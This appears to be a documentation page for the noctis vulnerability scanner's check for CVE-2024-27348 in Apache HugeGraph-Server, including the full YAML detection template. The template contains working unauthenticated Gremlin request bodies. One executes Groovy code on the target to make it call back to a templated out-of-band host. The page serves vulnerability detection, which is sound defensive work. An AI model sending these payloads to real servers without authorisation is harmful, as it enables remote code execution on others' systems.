Apache HugeGraph — 1 vulnerability check
noctis ships 1 vulnerability check for Apache HugeGraph, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Apache HugeGraph-Server Unauthenticated Gremlin API RCE
| CVE | CVE-2024-27348 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/hugegraph/CVE-2024-27348.yaml |
Detects unauthenticated access to the Gremlin API endpoint with OOB confirmation.
How noctis detects it
- HTTP(S) request
POST /gremlinwith a crafted body - Checks
probe_resp.bodyfor"result" - Checks
probe_resp.bodyfor"data"→ finding QoD 50: Gremlin API returned result/data JSON — unauthenticated execution confirmed: … - HTTP(S) request
POST /gremlinwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: RCE confirmed — OOB HTTP callback received after Groovy URL.openStream() execution via unauthenticated Gremlin API (CVE-2024-27348)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-27348
- http://www.openwall.com/lists/oss-security/2024/04/22/3
- https://hugegraph.apache.org/docs/config/config-authentication/
Feed source — tests/vulnerabilities/hugegraph/CVE-2024-27348.yaml
uid: fe31ba88-7ab2-44df-ac9f-fd9016785fd9
name: "Apache HugeGraph-Server Unauthenticated Gremlin API RCE"
description: "Detects unauthenticated access to the Gremlin API endpoint with OOB confirmation."
cves: [CVE-2024-27348]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [java, rce, gremlin, groovy, oob, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-27348"
- "http://www.openwall.com/lists/oss-security/2024/04/22/3"
- "https://hugegraph.apache.org/docs/config/config-authentication/"
steps:
- id: init-gremlin-ok
action: set_var
var_name: gremlin_ok
var_value: false
# ── Step 1: fingerprint — probe the Gremlin API without authentication ──
- id: gremlin-probe
action: http_request
method: POST
path: /gremlin
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
follow_redirects: false
headers:
Content-Type: "application/json"
body: '{"gremlin":"1+1","bindings":{},"language":"gremlin-groovy","aliases":{}}'
store_as: probe_resp
- id: gremlin-set-ok
action: match
source: probe_resp.body
pattern: '"result"'
condition: "probe_resp.status == 200"
on_match:
set_vars:
gremlin_ok: true
- id: gremlin-fingerprint
action: match
source: probe_resp.body
pattern: '"data"'
condition: "gremlin_ok == true"
on_match:
finding:
confidence_delta: 0.32
qod: 50
evidence: "Gremlin API returned result/data JSON — unauthenticated execution confirmed: {{probe_resp.body}}"
# ── Step 2: OOB RCE confirmation via Groovy URL.openStream() ───────────
# Skipped unless --oob is configured.
- id: oob-rce
action: http_request
method: POST
path: /gremlin
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
follow_redirects: false
condition: "gremlin_ok == true && oob_enabled"
headers:
Content-Type: "application/json"
body: '{"gremlin":"new URL(\"http://{{oob_host}}:{{oob_port}}/{{oob_token}}\").openStream().close()","bindings":{},"language":"gremlin-groovy","aliases":{}}'
store_as: oob_resp
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "gremlin_ok == true && oob_enabled"
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "RCE confirmed — OOB HTTP callback received after Groovy URL.openStream() execution via unauthenticated Gremlin API (CVE-2024-27348)"
stop: true